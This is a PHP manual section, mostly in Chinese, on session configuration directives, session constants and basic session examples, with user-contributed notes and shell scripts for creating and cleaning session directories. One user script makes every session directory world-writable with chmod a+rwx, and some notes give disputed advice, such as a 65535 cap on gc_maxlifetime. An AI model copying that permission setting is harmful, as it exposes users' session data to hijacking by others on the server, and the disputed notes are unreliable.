此指令还有一个可选的 N 参数来决定会话文件分布的目录深度。例如，设定为 '5;/tmp' 将使创建的会话文件和路径类似于 /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If。要使用 N 参数，必须在使用前先创建好这些目录。在 ext/session 目录下有个小的 shell 脚本名叫 mod_files.sh，windows 版本是 mod_files.bat 可以用来做这件事。此外注意如果使用了 N 参数并且大于 0，那么将不会执行自动垃圾回收，更多信息见 php.ini。另外如果用了 N 参数，要确保将 session.save_path 的值用双引号 "quotes" 括起来，因为分隔符分号（ ;）在 php.ini 中也是注释符号。

文件储存模块默认使用 mode 600 创建文件。通过 修改可选参数 MODE 来改变这种默认行为： N;MODE;/path ，其中 MODE 是 mode 的八进制表示。 MODE 设置不影响进程的掩码(umask)。

Warning

如果将此设定为一个全局可读的目录，例如 /tmp（默认值），服务器上的其他用户有可能通过该目录的文件列表破解会话。

Caution

使用以上描述的可选目录层级参数 N 时请注意，对于绝大多数站点， 大于1或者2的值会不太合适——因为这需要创建大量的目录： 例如，值设置为 3 需要在文件系统上创建 64^3 个目录， 将浪费很多空间和 inode。

仅仅在绝对肯定站点足够大时，才可以设置 N 大于2。

session.name string
session.name 指定会话名以用做 cookie 的名字。只能由字母数字组成，默认为 PHPSESSID。参见 session_name()。
session.auto_start bool
session.auto_start 指定会话模块是否在请求开始时自动启动一个会话。默认为 0（不启动）。
session.serialize_handler string
session.serialize_handler 定义用来序列化／反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持，则只能用 WDDX。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数，并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时，数字及特殊字符索引导致出错。 默认使用 php。
session.gc_probability int
session.gc_probability 与 session.gc_divisor 合起来用来管理 gc（garbage collection 垃圾回收）进程启动的概率。默认为 1。详见 session.gc_divisor。
session.gc_divisor int
session.gc_divisor 与 session.gc_probability 合起来定义了在每个会话初始化时启动 gc（garbage collection 垃圾回收）进程的概率。此概率用 gc_probability/gc_divisor 计算得来。例如 1/100 意味着在每个请求中有 1% 的概率启动 gc 进程。session.gc_divisor 默认为 100。
session.gc_maxlifetime int
session.gc_maxlifetime 指定过了多少秒之后数据就会被视为"垃圾"并被清除。 垃圾搜集可能会在 session 启动的时候开始（取决于 session.gc_probability 和 session.gc_divisor）。 默认为 1440（24分钟）。

Note:

如果不同的脚本具有不同的 session.gc_maxlifetime 数值但是共享了同一个地方存储会话数据，则具有最小数值的脚本会清理数据。此情况下，与 session.save_path 一起使用本指令。

session.referer_check string
session.referer_check 包含有用来检查每个 HTTP Referer 的子串。如果客户端发送了 Referer 信息但是在其中并未找到该子串，则嵌入的会话 ID 会被标记为无效。默认为空字符串。
session.entropy_file string
session.entropy_file 给出了一个到外部资源（文件）的路径，该资源将在会话 ID 创建进程中被用作附加的熵值资源。例如在许多 Unix 系统下都可以用 /dev/random 或 /dev/urandom。 在 Windows 上也支持此功能。 设置 session.entropy_length 为非零的值将使 PHP 使用 Windows Random API 作为熵值源。

Note: PHP 7.1.0 中移除。 在 /dev/urandom 或 /dev/arandom 可用的时候， session.entropy_file 默认使用它们。

session.entropy_length int
session.entropy_length 指定了从上面的文件中读取的字节数。默认为 0（禁用）。 PHP 7.1.0 中移除。
session.use_strict_mode bool
session.use_strict_mode 设置是否启用严格 session id 模式。 开启此模式后，模块不会接受未初始化过的 session ID。 从浏览器端传入未初始化的 session ID 后，将会发送一个新的 session ID 给它。 通过 session 启用严格模式可固定 session 以保护应用。 默认为 0 （禁用）。

Note: 开启 session.use_strict_mode 是常规的 session 安全强制性措施。 建议所有站点都开启此模式。 可以参考 session_create_id() 例子中的代码。

Warning

如果 session_set_save_handler() 注册的自定义 session 处理器 没有实现 SessionUpdateTimestampHandlerInterface::validateId()， 也没有相应提供 validate_sid 回调，那么无论上述指令的值如何设置， 实际上严格 session ID 模式都是关闭状态的。 尤其需要注意没有 实现 SessionHandler::validateId() 的 SessionHandler。

session.use_cookies bool
session.use_cookies 指定是否在客户端用 cookie 来存放会话 ID。默认为 1（启用）。
session.use_only_cookies bool
session.use_only_cookies 指定是否在客户端仅仅使用 cookie 来存放会话 ID。。启用此设定可以防止有关通过 URL 传递会话 ID 的攻击。默认值为1（启用）
session.cookie_lifetime int
session.cookie_lifetime 以秒数指定了发送到浏览器的 cookie 的生命周期。值为 0 表示"直到关闭浏览器"。默认为 0。参见 session_get_cookie_params() 和 session_set_cookie_params()。

Note:

过期时间是根据服务器时间设置的， 它没有必要和浏览器端的时间一致。

session.cookie_path string
session.cookie_path 指定了要设定会话 cookie 的路径。默认为 /。参见 session_get_cookie_params() 和 session_set_cookie_params()。
session.cookie_domain string
session.cookie_domain 指定了要设定会话 cookie 的域名。默认为无，表示根据 cookie 规范产生 cookie 的主机名。参见 session_get_cookie_params() 和 session_set_cookie_params()。
session.cookie_secure bool
session.cookie_secure 指定是否仅通过安全连接发送 cookie。默认为 off。此设定是 PHP 4.0.4 添加的。参见 session_get_cookie_params() 和 session_set_cookie_params()。
session.cookie_httponly bool
设置 cookie 仅能够通过 HTTP 协议访问。 它意味着 cookie 无法通过类似 JavaScript 这样的脚本语言访问。 该设置可有效避免 XSS 攻击窃取身份（但并非所有浏览器都支持）。
session.cookie_samesite string
Allows servers to assert that a cookie ought not to be sent along with cross-site requests. This assertion allows user agents to mitigate the risk of cross-origin information leakage, and provides some protection against cross-site request forgery attacks. Note that this is not supported by all browsers. An empty value means that no SameSite cookie attribute will be set. Lax and Strict mean that the cookie will not be sent cross-domain for POST requests; Lax will sent the cookie for cross-domain GET requests, while Strict will not.
session.cache_limiter string
session.cache_limiter 指定会话页面所使用的缓冲控制方法（ none/nocache/ private/ private_no_expire/public）。默认为 nocache。参见 session_cache_limiter() 文档查看各个值的含义。
session.cache_expire int
session.cache_expire 以分钟数指定缓冲的会话页面的存活期，此设定对 nocache 缓冲控制方法无效。默认为 180。参见 session_cache_expire()。
session.use_trans_sid bool
session.use_trans_sid 指定是否启用透明 SID 支持。默认为 0（禁用）。

Note: 基于 URL 的会话管理比基于 cookie 的会话管理有更多安全风险。例如用户有可能通过 email 将一个包含有效的会话 ID 的 URL 发给他的朋友，或者用户总是有可能在收藏夹中存有一个包含会话 ID 的 URL 来以同样的会话 ID 去访问站点。 自 PHP 7.1.0 开始，透明 SID 开始使用完整的 URL 绝对路径，例如 https://php.net/。 在此之前 PHP 只会使用相对路径。使用 session.trans_sid_hosts 定义重写的目标 host。

session.trans_sid_tags string
开启支持透明 sid 时， session.trans_sid_tags 指定是否需要重写 HTML 标签来包含 session id。 默认为 a=href,area=href,frame=src,input=src,form= form 是个特殊标签。 <input hidden="session_id" name="session_name"> 作为表单变量添加。

Note: PHP 7.1.0 之前，url_rewriter.tags 用于此目的。 PHP 7.1.0 之后，fieldset 不再作为特殊标签对待。

session.trans_sid_hosts string
当透明 sid 支持开启时，session.trans_sid_hosts 设置了要重写包含 session 的主机名， 默认为 $_SERVER['HTTP_HOST']。 多个主机用半角逗号 "," 分隔；主机名之间不能用空格。 例如 php.net,wiki.php.net,bugs.php.net。
session.sid_length int
通过 session.sid_length 可以设置 session ID 字符串长度。 Session ID 的长度可以是在 22 到 256 之间。 默认是 32。 如果需要较好的兼容性可以设置为 32、40 等。 较长的 session ID 会更难猜测。 推荐至少要 32 个字符。
Tip

Compatibility Note: Use 32 instead of
session.hash_function=0 (MD5) and
session.hash_bits_per_character=4,
session.hash_function=1 (SHA1) and
session.hash_bits_per_character=6. Use 26 instead of
session.hash_function=0 (MD5) and
session.hash_bits_per_character=5. Use 22 instead of
session.hash_function=0 (MD5) and
session.hash_bits_per_character=6.
必须正确配置 INI 值，让 session ID 至少有 128 比特（bits）。
不要忘了为 session.sid_bits_per_character
设置合适的值；否则将会有一个较弱的 session ID。

Note: PHP 7.1.0 中加入该设置。

session.sid_bits_per_character int
session.sid_bits_per_character 设置要编码 session ID 字符的比特数。 可能的设置有： '4'（0-9、a-f）、'5'（0-9、a-v）、'6'（0-9、a-z、A-Z、"-"、","）。 默认为 4。 更多的比特数会产生更强健的 session ID。 对于绝大多数环境，推荐值是 5。

Note: PHP 7.1.0 中加入该设置。

session.hash_function mixed
session.hash_function 允许用户指定生成会话 ID 的散列算法。'0' 表示 MD5（128 位），'1' 表示 SHA-1（160 位）。

还可以指定 hash 扩展（开启的时候） 支持的任意算法，例如 sha512 或 whirlpool。 可通过 hash_algos() 函数获取支持的算法完整名单。

Note:

PHP 7.1.0 中已经移除。

session.hash_bits_per_character int
session.hash_bits_per_character 允许用户定义将二进制散列数据转换为可读的格式时每个字符存放多少个比特。可能值为 '4'（0-9，a-f），'5'（0-9，a-v），以及 '6'（0-9，a-z，A-Z，"-"，","）。

Note:

这是 PHP 5 引进的。

session.upload_progress.enabled boolean
Enables upload progress tracking, populating the $_SESSION variable. Defaults to 1, enabled.
session.upload_progress.cleanup boolean
Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled.

Note: It is highly recommended to keep this feature enabled.

session.upload_progress.prefix string
A prefix used for the upload progress key in the $_SESSION. This key will be concatenated with the value of $_POST[ini_get("session.upload_progress.name")] to provide a unique index. Defaults to "upload_progress_".
session.upload_progress.name string
The name of the key to be used in $_SESSION storing the progress information. See also session.upload_progress.prefix. If $_POST[ini_get("session.upload_progress.name")] is not passed or available, upload progressing will not be recorded. Defaults to "PHP_SESSION_UPLOAD_PROGRESS".
session.upload_progress.freq mixed
Defines how often the upload progress information should be updated. This can be defined in bytes (i.e. "update progress information after every 100 bytes"), or in percentages (i.e. "update progress information after receiving every 1% of the whole filesize"). Defaults to "1%".
session.upload_progress.min_freq int
The minimum delay between updates, in seconds. Defaults to "1" (one second).
session.lazy_write bool
session.lazy_write，设置成 1 的含义是： 只有 session 数据发生变化时才需要重新写入。默认为开启状态 1。

Upload progress will not be registered unless session.upload_progress.enabled is enabled, and the $_POST[ini_get("session.upload_progress.name")] variable is set. See Session Upload Progress for mor details on this functionality.

User Contributed Notes

Walerian Walawski - https://w87.eu/ 08-Oct-2023 01:23
Can't find mod_files.sh? Here it is:
????????????????????????????????????

#!/usr/bin/env bash

if [[ "$2" = "" ]] || [[ "$3" = "" ]]; then
       echo "Usage: $0 BASE_DIRECTORY DEPTH BITS_PER_CHAR"
       echo "BASE_DIRECTORY will be created if it doesn't exist"
       echo "DEPTH must be an integer number >0"
       echo "BITS_PER_CHAR(session.sid_bits_per_character) should be one of 4, 5, or 6."
       # http://php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character
       exit 1
fi

if [[ "$2" = "0" ]] && [[ ! "$4" = "recurse" ]]; then
       echo "Can't create a directory tree with depth of 0, exiting."
fi

if [[ "$2" = "0" ]]; then
       exit 0
fi

directory="$1"
depth="$2"
bitsperchar="$3"

hash_chars="0 1 2 3 4 5 6 7 8 9 a b c d e f"

if [[ "$bitsperchar" -ge "5" ]]; then
       hash_chars="$hash_chars g h i j k l m n o p q r s t u v"
fi

if [[ "$bitsperchar" -ge "6" ]]; then
       hash_chars="$hash_chars w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z - ,"
fi

while [[ -d $directory ]] && [[ $( ls $directory ) ]]; do
       echo "Directory $directory is not empty! What would you like to do?"

       options="\"Delete directory contents\" \"Choose another directory\" \"Quit\""
       eval set $options
       select opt in "$@"; do

              if [[ $opt = "Delete directory contents" ]]; then
                     echo "Deleting $directory contents... "
                     rm -rf $directory/*
              elif [[ $opt = "Choose another directory" ]]; then
                     echo "Which directory would you like to choose?"
                     read directory
              elif [[ $opt = "Quit" ]]; then
                     exit 0
              fi

              break;
       done
done

if [[ ! -d $directory ]]; then
       mkdir -p $directory
fi

echo "Creating session path in $directory with a depth of $depth for session.sid_bits_per_character = $bitsperchar"

for i in $hash_chars; do
       newpath="$directory/$i"
       mkdir $newpath || exit 1
       bash $0 $newpath `expr $depth - 1` $bitsperchar recurse
done
descartavel1+php at gmail dot com 16-May-2023 09:11
You should set `session.name` to use either prefix `__Host-` or `__Secure-`. See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes
polygon dot co dot in at gmail dot com 07-Nov-2021 08:04
In php.ini, session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. [Defaults to files.]

By default session.save_handler has support for below

session.save_handler = files
session.save_handler = sqlite
session.save_handler = redis
session.save_handler = memcached

These locks the session by default for any HTTP request using session.
Locking means, a user can't access session related pages until current request is completed.

So, if you are thinking that switching to these will increase performance; the answer is NO! because of locking behaviour.

To overcome/customise the session locking behaviour use as below.

session.save_handler = user
This is for all (including list above) modes of session storage.

For "user" type save_handler, we can ignore locks for better performance (as explained in function session_set_save_handler). But for this we need to take care to use sessions only for authenticity and not for passing data from one script to other.

For passing data accross scripts use GET method to achieve the goal.
boan dot web at outlook dot com 10-Feb-2019 12:43
session.cache_limiter may be empty string to disable cache headers entirely.

Quote:
> Setting the cache limiter to '' will turn off automatic sending of cache headers entirely.

http://php.net/manual/en/function.session-cache-limiter.php
li-lingjie 19-Dec-2017 09:20
Use SessionHandlerInterface interface Custom redis session, found the following:

Use ini_set ('session.save_path', "tcp: //127.0.0.1: 6379? Auth = password"); will be reported:

PHP Fatal error: session_start (): Failed to initialize storage module: user (path: tcp: //127.0.0.1: 6379? Auth = password);

Using session_save_path ("tcp: //127.0.0.1: 6379? Auth = password") will not
white-gandalf at web dot de 18-Dec-2017 05:50
session.use_strict_mode does very little to strengthen your security: only one very specific variant of attack is migitated by this (where the attacker hands an "empty" sid to the victim to adapt his own browser to that session later) - versus for example the case where he pre-opens a session, handing the sid of that one to the victim, so the victim gets adapted to the pre-opened session. In the latter case this flag does nothing to help. In every other scenario with other vulnerabilities where the session id gets leaked, the flag helps nigher.

But this flag renders the php function session_id() useless in its parameterized variant, thus preventing any php functionality that builds upon this function.
ohcc at 163 dot com 25-Nov-2017 04:06
You should take more care configuring session.gc_maxlifetime when virtual hosts share the same session-saving directory. One host's session data may be gc'ed when another host runs php.
Anonymous 14-Oct-2016 02:23
In response to this comment: http://php.net/manual/en/session.configuration.php#107990 where it is claimed that gc_maxlifetime values larger than 65535 break the session system. I cannot reproduce this.

I've set gc_maxlifetime to 31536000 (1 year) and the session system works just fine. I haven't tried how long a session lasts now (I'm in the process of testing this), but it certainly doesn't break PHP sessions.
info at thimbleopensource dot com 19-Jul-2015 07:39
I found out that if you need to set custom session settings, you only need to do it once when session starts. Then session maintains its settings, even if you use ini_set and change them, original session still will use it's original setting until it expires.

Just thought it might be useful to someone.
GreenReaper 14-Oct-2014 12:56
We found a session.save_path depth of 3 led to excessive wastage of inodes and in fact disk space in storing the directory tree. dir_indexes option on ext2/3/4 makes larger directories more feasible anyway, so we decided to move to a depth of 2 instead.

It took a little puzzling to figure out how to move the existing PHP sessions up one directory tree, but we ended up running this in the root sessions directory:

#!/bin/sh
for a in ./* ; do
    cd ./$a
    pwd
    for b in ./* ; do
      cd ./$b
      pwd
      # Move existing sessions out
      find ./* -xdev -type f -print0 | xargs -0 mv -t .
      # Remove subdirectories
      find ./* -xdev -type d -print0 | xargs -0 rmdir
      cd ..
  done
  cd ..
done

This script may not be the best way to do it, but it got the job done fast. You can modify it for different depths by adding or removing "for" loops.

The documentation gives a depth of 5 as an example, but five is right out. If you're going beyond 2, you're at the scale where you may want to to look at a large memcached or redis instance instead.
Christopher Kramer 02-Oct-2014 01:22
On debian (based) systems, changing session.gc_maxlifetime at runtime has no real effect. Debian disables PHP's own garbage collector by setting session.gc_probability=0. Instead it has a cronjob running every 30 minutes (see /etc/cron.d/php5) that cleans up old sessions. This cronjob basically looks into your php.ini and uses the value of session.gc_maxlifetime there to decide which sessions to clean (see /usr/lib/php5/maxlifetime).

You can adjust the global value in your php.ini (usually /etc/php5/apache2/php.ini). Or you can change the session.save_path so debian's cronjob will not clean up your sessions anymore. Then you need to either do your own garbage collection with your own cronjob or enable PHP's garbage collection (php then needs sufficient privileges on the save_path).

Why does Debian not use PHP's garbarage collection?
For security reasons, they store session data in a place (/var/lib/php5) with very stringent permissions. With the sticky bit set, only root is allowed to rename or delete files there, so PHP itself cannot clean up old session data. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=267720 .
jlevene at etisoftware dot com 21-Feb-2013 01:29
Being unable to find an actual copy of mod_files.sh, and seeing lots of complaints/bug fix requests for it, here's one that works.  It gets all its parameters from PHP.INI, so you don't have the opportunity to mess up:

#!/bin/bash
#
# Creates directories for PHP session storage.
# Replaces the one that "comes with" PHP, which (a) doesn't always come with it
# and (b) doesn't work so great.
#
# This version takes no parameters, and uses the values in PHP.INI (if it
# can find it).
#
# Works in OS-X and CentOS (and probably all other) Linux.
#
# Feb '13 by Jeff Levene.

[[ $# -gt 0 ]] && echo "$0 requires NO command-line parameters.
It gets does whatever is called for in the PHP.INI file (if it can find it).
" && exit 1

# Find the PHP.INI file, if possible:
phpIni=/usr/local/lib/php.ini                        # Default PHP.INI location
[[ ! -f "$phpIni" ]] && phpIni=/etc/php.ini            # Secondary location
[[ ! -f "$phpIni" ]] && phpIni=                        # Found it?

# Outputs the given (as $1) parameter from the PHP.INI file:
# The "empty" brackets have a SPACE and a TAB in them.
#
PhpConfigParam() {
    [[ ! "$phpIni" ]] && return
    # Get the line from the INI file:
    varLine=`grep "^[     ]*$1[     ]*=" "$phpIni"`

    # Extract the value:
    value=`expr "$varLine" : ".*$1[     ]*=[     ]*['\"]*\([^'\"]*\)"`
    echo "$value"
    }

if [[ "$phpIni" ]]
then
    savePath=`PhpConfigParam session.save_path`
    # If there's a number and semicolon at the front, remove them:
    dirDepth=`expr "$savePath" : '\([0-9]*\)'`
    [[ "$dirDepth" ]] && savePath=`expr "$savePath" : '[0-9]*;\(.*\)'` || dirDepth=0
    bits=`PhpConfigParam session.hash_bits_per_character`
    case "x$bits" in
        x)    echo "hash_bits_per_character not defined.  Not running." ; exit 2 ;;
        x4) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f' ;;
        x5) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v' ;;
        x6) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v'
            alphabet="$alphabet w x y z A B C D E F G H I J K L M N O P Q R S T U V W"
            alphabet="$alphabet X Y Z - ,"
            ;;
        *)    echo "unrecognized hash_bits_per_character.  Not running." ; exit 2 ;;
    esac
else
    echo "Cannot find the PHP.INI file.  Not running.  Sorry."
    exit 2
fi

# The depth of directories to create is $1.  0 means just create the named
# directory.  Directory to start with is $2.
#
# Used recursively, so variables must be "local".

doDir() {
    local dir="$2"
    if [[ -d "$dir" ]]
    then
        echo "Directory '$dir' already exists.  No problem."
    elif [[ -f "$dir" ]]
    then
        echo "FILE '$dir' exists.  Aborting." ; exit 2
    else
        if mkdir "$dir"
        then
            echo "Directory '$dir' created."
        else
            echo "Cannot create directory '$dir'.  Aborting." ; exit 2
        fi
    fi
    chmod a+rwx "$dir"
    if [[ $1 -gt 0 ]]
    then
        local depth=$(( $1 - 1 ))
        for letter in $alphabet
        do    doDir $depth "$dir/$letter"
        done
    fi
    }

echo "Running with savePath='$savePath', dirDepth=$dirDepth, and bitsPerCharacter=$bits."
sleep 3

doDir $dirDepth "$savePath"

exit 0
hassankhodadadeh at NOSPAM dot gmail dot com 20-Mar-2012 05:42
max value for "session.gc_maxlifetime" is 65535. values bigger than this may cause  php session stops working.
AskApache 10-Nov-2010 10:00
This is how I set my session.save_path
session.save_path = "1;/home/askapache/tmp/s"
So to create the folder structure you can use this compatible shell script, if you want to create with 777 permissions change the umask to 0000;
sh -o braceexpand -c "umask 0077;mkdir -p s/{0..9}/{a..z} s/{a..z}/{0..9}"

Then you can create a cronjob to clean the session folder by adding this to your crontab which deletes any session files older than an hour:
@daily find /home/askapache/tmp/s -type f -mmin +60 -exec rm -f {} \; &>/dev/null

That will create sessions in folder like:
 /home/askapache/tmp/s/b/sess_b1aba5q6io4lv01bpc6t52h0ift227j6

I don't think any non-mega site will need to go more than 1 levels deep.  Otherwise you create so many directories that it slows the performance gained by this.
orbill 30-Aug-2010 05:08
apparently the default value for session.use_only_cookies has changed in 5.3.3 from 0 to 1. If you haven't set this in your php.ini or your code to 0 transparent sessions won't work.
Nicholas 26-Aug-2010 11:08
Transient sessions do not appear to be working in 5.3.3

E.g.

<?php
    ini_set("session.use_cookies", 0);
    ini_set("session.use_trans_sid", 1);
    session_start();

    if (isset($_SESSION["foo"])) {
        echo "Foo: " . $_SESSION["foo"];
    } else {
        $_SESSION["foo"] = "Bar";
        echo "<a href=?" . session_name() . "=" . session_id() . ">Begin test</a>";
    }
?>

This works in 5.2.5, but not 5.3.3
Wouter 19-May-2010 03:14
When setting the session.cookie_lifetime directive in a .htaccess use string format like;

php_value session.cookie_lifetime "123456"

and not

php_value session.cookie_lifetime 123456

Using a integer as stated above dit not work in my case (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g)
mikaelkael at php dot net 28-Jan-2009 12:50
Recently, I needed to change the session save_path in my program under Windows. With an ini_set('session.save_path', '../data/sessions'); (and session.gc_divisor = 1 for test), I always obtain 'Error #8 session_start(): ps_files_cleanup_dir: opendir(../data/sessions) failed: Result too large'.

I corrected this by changing with ini_set('session.save_path', realpath('../data/sessions'));
sony-santos at bol dot com dot br 16-Oct-2008 11:17
In response to 00 at f00n, this very page explains:

"(...) if N is used and greater than 0 then automatic garbage collection will not be performed (...)"

So you can actually use custom save_path with automatic garbage collection, since you don't use the subdirectory option (that N subdirectory levels).
00 at f00n dot com 25-Jun-2008 06:36
After having many problems with garbage collection not clearing my sessions I have resolved it through the following.

First I found this in the php.ini (not something i noticed as i use phpinfo(); to see my hosting ini).

; NOTE: If you are using the subdirectory option for storing session files
;       (see session.save_path above), then garbage collection does *not*
;       happen automatically.  You will need to do your own garbage

; collection through a shell script, cron entry, or some other method. ;       For example, the following script would is the equivalent of
;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
;          cd /path/to/sessions; find -cmin +24 | xargs rm

With this is mind there are options.

1. dont use a custom save_path.
** This means if your isp hasnt defaulted your session temp to something safer than install default or you are using a shared directory for session data then you would be wise to use named sessions to keep your session from being viewable in other people's scripts.  Creating a unique_id name for this is the common method. **

2. use your custom folder but write a garbage collection script.

3. use a custom handler and a database
phpforcharity dot 5 dot pistos at geoshell dot com 24-Jun-2008 06:05
To get session IDs to show up in URIs, and not get stored via cookies, you must not only set session.use_cookies to 0, but also set session.use_trans_sid to 1.  Otherwise, the session ID goes neither in a cookie nor in URIs!


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SID (string)
包含着会话名以及会话 ID 的常量，格式为 "name=ID"，或者如果会话 ID 已经在适当的会话 cookie 中设定时则为空字符串。 这和 session_id() 返回的是同一个 ID。
PHP_SESSION_DISABLED (int)
如果会话已禁用则返回 session_status() 的值。
PHP_SESSION_NONE (int)
在会话已启用但是没有会话的时候返回 session_status() 的值。
PHP_SESSION_ACTIVE (int)
在一个会话已启用并存在时返回 session_status() 的值。

User Contributed Notes

sarath dot jasrin at gmail dot com 12-Oct-2016 12:05
Check whether session started using Predefined Constants

if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
Anonymous 14-Aug-2016 06:12
SID constant defined dynamically!

var_dump(defined('SID'));  // bool(false) - Not defined...
session_start();
var_dump(defined('SID'));  // bool(true) - Defined now!


示例

Table of Contents

  • 基本用法
  • 传送会话ID
  • 自定义会话处理程序

User Contributed Notes

There are no user contributed notes for this page.


基本用法

通过为每个独立用户分配唯一的会话 ID，可以实现针对不同用户分别存储数据的功能。 会话通常被用来在多个页面请求之间保存及共享信息。 一般来说，会话 ID 通过 cookie 的方式发送到浏览器，并且在服务器端也是通过会话 ID 来取回会话中的数据。 如果请求中不包含会话 ID 信息，那么 PHP 就会创建一个新的会话，并为新创建的会话分配新的 ID。

会话的工作流程很简单。当开始一个会话时，PHP 会尝试从请求中查找会话 ID （通常通过会话 cookie）， 如果请求中不包含会话 ID 信息，PHP 就会创建一个新的会话。 会话开始之后，PHP 就会将会话中的数据设置到 $_SESSION 变量中。 当 PHP 停止的时候，它会自动读取 $_SESSION 中的内容，并将其进行序列化， 然后发送给会话保存处理程序来进行保存。

默认情况下，PHP 使用内置的文件会话保存处理程序（files）来完成会话的保存。 也可以通过配置项 session.save_handler 来修改所要采用的会话保存处理程序。 对于文件会话保存处理程序，会将会话数据保存到配置项 session.save_path 所指定的位置。

可以通过调用函数 session_start() 来手动开始一个会话。 如果配置项 session.auto_start 设置为1， 那么请求开始的时候，会话会自动开始。

PHP 脚本执行完毕之后，会话会自动关闭。 同时，也可以通过调用函数 session_write_close() 来手动关闭会话。

Example #1 在 $_SESSION 中注册变量。

<?php
session_start();
if (!isset($_SESSION['count'])) {
$_SESSION['count'] = 0;
} else {
$_SESSION['count']++;
}
?>

Example #2 从 $_SESSION 中反注册变量。

<?php
session_start();
unset($_SESSION['count']);
?>

Caution

千万不要使用 unset($_SESSION) 来复位超级变量 $_SESSION， 因为这样会导致无法继续在 $_SESSION 中注册会话变量。

Warning

由于无法将一个引用恢复到另外一个变量， 所以不可以将引用保存到会话变量中。

Note:

无论是通过调用函数 session_start() 手动开启会话， 还是使用配置项 session.auto_start 自动开启会话， 对于基于文件的会话数据保存（PHP 的默认行为）而言， 在会话开始的时候都会给会话数据文件加锁， 直到 PHP 脚本执行完毕或者显式调用 session_write_close() 来保存会话数据。 在此期间，其他脚本不可以访问同一个会话数据文件。

对于大量使用 Ajax 或者并发请求的网站而言，这可能是一个严重的问题。 解决这个问题最简单的做法是如果修改了会话中的变量， 那么应该尽快调用 session_write_close() 来保存会话数据并释放文件锁。 还有一种选择就是使用支持并发操作的会话保存处理程序来替代文件会话保存处理程序。

User Contributed Notes

There are no user contributed notes for this page.


传送会话ID

有两种方式用来传送会话 ID：

  • Cookies
  • URL 参数

会话模块支持这两种方式。 Cookie 方式相对好一些，但是用户可能在浏览器中关闭 Cookie，所以 第二种方案就是把会话 ID 直接并入到 URL 中，以保证会话 ID 的传送。

无需开发人员干预，PHP 就可以自动处理 URL 传送会话 ID 的场景。 如果启用了 session.use_trans_sid 选项， PHP 将会自动在相对 URI 中包含会话 ID。

Note:

arg_separator.output php.ini 配置指令允许你自定义会话 ID 参数分隔符。 可以设定为 & 来保持和 XHTML 的一致性。

会话开始之后，可以使用 SID 常量。 如果客户端未提供会话 cookie，该常量的展开形式为 session_name=session_id， 反之，该常量为空字符串。因此，可以直接在 URL 中包含此常量的展开字符串而无需考虑会话 ID 的实际传送方式。

下例演示了如何在会话中注册变量以及如何使用 SID 常量正确的链接到另一页面。

Example #1 某单一用户的点击数

<?php

session_start();

if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else {
$_SESSION['count']++;
}
?>

<p>
Hello visitor, you have seen this page <?php echo $_SESSION['count']; ?> times.
</p>

<p>
To continue, <a href="nextpage.php?<?php echo htmlspecialchars(SID); ?>">click
here</a>.
</p>

可以使用 htmlspecialchars() 来打印 SID 常量的展开字符串以避免 XSS 相关的攻击。

如果使用 --enable-trans-sid 参数编译的 PHP， 上例中打印 SID 常量部分就可以省略。

Note:

非相对 URL 将被视为指向外部站点的链接， 从安全角度考虑，外站的链接 URL 中将 不包含 SID 常量，以避免将 SID 泄露到外部服务器的风险。

User Contributed Notes

EastWhite at foxmail dot com 14-Jul-2016 04:23
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.
But set session.use_trans_sid to 1 is not effective if director session.use_only_cookies is 1.
try:
session_start(['use_only_cookies'=>0])
or
session_start(['use_only_cookies'=>0,use_trans_sid=1])
Anonymous 16-Mar-2010 10:23
The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID.

This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them.

This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off.


自定义会话处理程序

如果需要在数据库中或者以其他方式存储会话数据， 需要使用 session_set_save_handler() 函数来创建一系列用户级存储函数。 可以使用 SessionHandlerInterface 类 或者通过继承 SessionHandler 类扩展 PHP 的内置处理程序， 从而达到自定义会话保存机制的目的。

函数 session_set_save_handler() 的参数即为在会话生命周期内要调用的一组回调函数： open， read， write 以及 close。 还有一些回调函数被用来完成垃圾清理：destroy 用来删除会话， gc 用来进行周期性的垃圾收集。

因此，会话保存处理程序对于 PHP 而言是必需的。 默认情况下会使用内置的文件会话保存处理程序。 可以通过 session_set_save_handler() 函数来设置自定义会话保存处理程序。 一些 PHP 扩展也提供了内置的会话处理程序，例如：sqlite， memcache 以及 memcached， 可以通过配置项 session.save_handler 来使用它们。

会话开始的时候，PHP 会调用 open 处理程序，然后再调用 read 回调函数来读取内容，该回调函数返回已经经过编码的字符串。 然后 PHP 会将这个字符串解码，并且产生一个数组对象，然后保存至 $_SESSION 超级全局变量。

当 PHP 关闭的时候（或者调用了 session_write_close() 之后）， PHP 会对 $_SESSION 中的数据进行编码， 然后和会话 ID 一起传送给 write 回调函数。 write 回调函数调用完毕之后，PHP 内部将调用 close 回调函数。

销毁会话时，PHP 会调用 destroy 回调函数。

